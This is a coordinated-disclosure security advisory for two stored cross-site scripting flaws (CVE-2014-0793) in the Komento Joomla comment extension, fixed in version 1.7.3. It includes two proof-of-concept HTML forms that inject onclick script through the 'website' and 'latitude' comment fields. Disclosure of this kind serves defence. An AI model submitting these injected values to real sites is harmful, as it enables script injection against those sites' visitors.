Cross-Site Scripting (XSS) in Komento Joomla Extension

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23194
Product: Komento Joomla Extension
Vendor: Stack Ideas Sdn Bhd.
Vulnerable Version(s): 1.7.2 and probably prior
Tested Version: 1.7.2
Advisory Publication:  January 2, 2014  [without technical details]
Vendor Notification: January 2, 2014 
Vendor Patch: January 2, 2014 
Public Disclosure: January 23, 2014 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2014-0793
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in 
Komento Joomla Extension, which can be exploited to perform script insertion 
attacks.


1) Cross-Site Scripting (XSS) in Komento Joomla Extension: CVE-2014-0793

1.1 The vulnerability exists due to insufficient sanitisation of user-supplied 
data passed via the "website" HTTP POST parameter to "/?option=com_komento" 
URL. A remote attacker can submit a comment with specially crafted "Website" 
field and execute arbitrary HTML and script code in browser in context of the 
vulnerable website when a user clicks on the nickname of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to 
display word "immuniweb" when user clicks on the attacker's nickname in comment:

<form action="http://[host]/?option=com_komento"; method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" 
name="no_html" value="1"> <input type="hidden" name="component"  
value="com_content"> <input type="hidden" name="cid"  value="24"> <input 
type="hidden" name="comment"  value="comment"> <input type="hidden" 
name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> 
<input type="hidden" name="email"  value="email@xxxxxxxxx"> <input 
type="hidden" name="website"  value='http://www.htbridge.com"; 
onclick="javascript:alert(/immuniweb/);"'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" 
name="latitude"  value=''>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" 
name="address"  value="1"> <input type="hidden" name="contentLink" 
value="http://joomla/";> <input type="hidden" name="pageItemId"  value="435"> 
<input type="hidden" name="option"  value="com_komento"> <input type="hidden" 
name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input 
type="submit" id="btn"> </form>


1.2 The vulnerability exists due to insufficient sanitisation of user-supplied 
data passed via the "latitude" HTTP POST parameter to "/?option=com_komento" 
URL. A remote attacker can submit a comment with specially crafted "latitude" 
field and execute arbitrary HTML and script code in browser in context of the 
vulnerable website when a user clicks on the address of the malicious author.

The following exploitation example uses the "alert()" JavaScript function to 
display word "immuniweb" when user clicks on the attacker's address in comment:

<form action="http://[host]/?option=com_komento"; method="post" name="main">
<input type="hidden" name="tmpl"    value="component">
<input type="hidden" name="format"  value="ajax"> <input type="hidden" 
name="no_html" value="1"> <input type="hidden" name="component"  
value="com_content"> <input type="hidden" name="cid"  value="24"> <input 
type="hidden" name="comment"  value="comment"> <input type="hidden" 
name="parent_id"  value="0"> <input type="hidden" name="name"  value="name"> 
<input type="hidden" name="email"  value="email@xxxxxxxxx"> <input 
type="hidden" name="website"  value='www.htbridge.com'>
<input type="hidden" name="subscribe"  value="false"> <input type="hidden" 
name="latitude"  value='" 
onclick="javascript:alert(/imuniweb/);">'>
<input type="hidden" name="longitude"  value="1"> <input type="hidden" 
name="address"  value="1"> <input type="hidden" name="contentLink" 
value="http://joomla/";> <input type="hidden" name="pageItemId"  value="435"> 
<input type="hidden" name="option"  value="com_komento"> <input type="hidden" 
name="namespace" value="site.views.komento.addcomment">
<input type="hidden" name="4873559e1d03545682ae270bf7b0c8ec" value="1"> <input 
type="submit" id="btn"> </form>


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Solution:

Update to Komento 1.7.3

More Informaion:
http://stackideas.com/downloads/changelog/komento

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References:

[1] High-Tech Bridge Advisory HTB23194 - 
https://www.htbridge.com/advisory/HTB23194 - Cross-Site Scripting (XSS) in 
Komento Joomla Extension.
[2] Komento Joomla Extension - http://stackideas.com/ - Komento is a Joomla 
comment extension for articles and blogs in K2, EasyBlog, ZOO, Flexicontent, 
VirtueMart and redShop.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's 
proprietary web application security assessment solution with SaaS delivery 
model that combines manual and automated vulnerability testing.

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